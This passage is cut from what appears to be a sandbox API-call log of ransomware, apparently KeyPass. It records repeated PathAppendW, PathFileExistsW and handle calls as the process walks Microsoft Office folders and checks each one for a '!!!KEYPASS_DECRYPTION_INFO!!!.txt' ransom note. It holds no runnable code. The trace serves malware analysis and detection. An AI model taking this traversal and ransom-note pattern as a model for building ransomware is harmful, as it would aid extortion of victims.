Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\DataType\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.514] GetFileType (hFile=0x166c) returned 0x1 [0275.515] CloseHandle (hObject=0x166c) returned 1 [0275.515] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.515] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.515] GetLastError () returned 0x3f0 [0275.515] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\Part\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\Part\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.515] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\Access\\Part\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.516] GetFileType (hFile=0x1670) returned 0x1 [0275.516] CloseHandle (hObject=0x1670) returned 1 [0275.517] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.517] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.517] GetLastError () returned 0x3f0 [0275.517] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\GettingStarted16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\GettingStarted16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.517] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\GettingStarted16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.517] GetFileType (hFile=0x1674) returned 0x1 [0275.518] CloseHandle (hObject=0x1674) returned 1 [0275.518] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.518] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.518] GetLastError () returned 0x3f0 [0275.518] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.518] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.518] GetFileType (hFile=0x1678) returned 0x1 [0275.519] CloseHandle (hObject=0x1678) returned 1 [0275.519] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.519] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.519] GetLastError () returned 0x3f0 [0275.519] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.519] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.520] GetFileType (hFile=0x167c) returned 0x1 [0275.520] CloseHandle (hObject=0x167c) returned 1 [0275.521] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.521] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.521] GetLastError () returned 0x3f0 [0275.521] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.521] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\1033\\ONENOTE\\16\\Stationery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.521] GetFileType (hFile=0x1680) returned 0x1 [0275.522] CloseHandle (hObject=0x1680) returned 1 [0275.522] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.522] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.522] GetLastError () returned 0x3f0 [0275.522] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\Presentation Designs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\Presentation Designs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.522] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Templates\\Presentation Designs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.522] GetFileType (hFile=0x1684) returned 0x1 [0275.523] CloseHandle (hObject=0x1684) returned 1 [0275.523] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0275.523] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.523] GetLastError () returned 0x3f0 [0275.523] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.524] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.548] GetFileType (hFile=0x1688) returned 0x1 [0275.549] CloseHandle (hObject=0x1688) returned 1 [0275.549] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.549] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.549] GetLastError () returned 0x3f0 [0275.549] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.549] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.549] GetFileType (hFile=0x168c) returned 0x1 [0275.550] CloseHandle (hObject=0x168c) returned 1 [0275.550] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.550] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.550] GetLastError () returned 0x3f0 [0275.550] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.550] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.551] GetFileType (hFile=0x1690) returned 0x1 [0275.552] CloseHandle (hObject=0x1690) returned 1 [0275.552] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.552] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.552] GetLastError () returned 0x3f0 [0275.552] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\OFFICE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\OFFICE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.552] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\OFFICE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.553] GetFileType (hFile=0x1694) returned 0x1 [0275.553] CloseHandle (hObject=0x1694) returned 1 [0275.553] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.553] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.553] GetLastError () returned 0x3f0 [0275.553] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.554] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.554] GetFileType (hFile=0x1698) returned 0x1 [0275.555] CloseHandle (hObject=0x1698) returned 1 [0275.555] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.555] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.555] GetLastError () returned 0x3f0 [0275.556] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\VISIO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\VISIO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.556] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common AppData\\Microsoft\\VISIO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.556] GetFileType (hFile=0x169c) returned 0x1 [0275.557] CloseHandle (hObject=0x169c) returned 1 [0275.557] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.557] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.557] GetLastError () returned 0x3f0 [0275.557] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common Programs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common Programs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.557] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common Programs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.569] GetFileType (hFile=0x1664) returned 0x1 [0275.570] CloseHandle (hObject=0x1664) returned 1 [0275.570] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.570] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.570] GetLastError () returned 0x3f0 [0275.570] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common Programs\\Microsoft Office Tools\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common Programs\\Microsoft Office Tools\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.571] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Common Programs\\Microsoft Office Tools\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.575] GetFileType (hFile=0x16a4) returned 0x1 [0275.575] CloseHandle (hObject=0x16a4) returned 1 [0275.576] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.576] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.576] GetLastError () returned 0x3f0 [0275.576] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.576] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.577] GetFileType (hFile=0x16a8) returned 0x1 [0275.578] CloseHandle (hObject=0x16a8) returned 1 [0275.578] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.578] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.578] GetLastError () returned 0x3f0 [0275.578] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Fonts\\private\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Fonts\\private\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.578] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Fonts\\private\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.578] GetFileType (hFile=0x16ac) returned 0x1 [0275.579] CloseHandle (hObject=0x16ac) returned 1 [0275.579] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0275.579] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.579] GetLastError () returned 0x3f0 [0275.579] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.579] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.626] GetFileType (hFile=0x16a0) returned 0x1 [0275.627] CloseHandle (hObject=0x16a0) returned 1 [0275.628] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.628] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.628] GetLastError () returned 0x3f0 [0275.628] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\DESIGNER\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\DESIGNER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.628] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\DESIGNER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.629] GetFileType (hFile=0x16b0) returned 0x1 [0275.630] CloseHandle (hObject=0x16b0) returned 1 [0275.630] PeekMessageW (in: lpMsg=0x2e4d948, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d948) returned 0 [0275.630] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.630] GetLastError () returned 0x3f0 [0275.630] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.630] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.647] GetFileType (hFile=0x16b8) returned 0x1 [0275.648] CloseHandle (hObject=0x16b8) returned 1 [0275.648] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.649] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.649] GetLastError () returned 0x3f0 [0275.649] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.649] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\DW\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.650] GetFileType (hFile=0x16bc) returned 0x1 [0275.650] CloseHandle (hObject=0x16bc) returned 1 [0275.650] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0275.650] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0275.650] GetLastError () returned 0x3f0 [0275.650] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0275.651] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0275.671] GetFileType (hFile=0x16c0) returned 0x1 [0275.673] CloseHandle (hObject=0x16c0) returned 1 [0275.673] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0275.673] 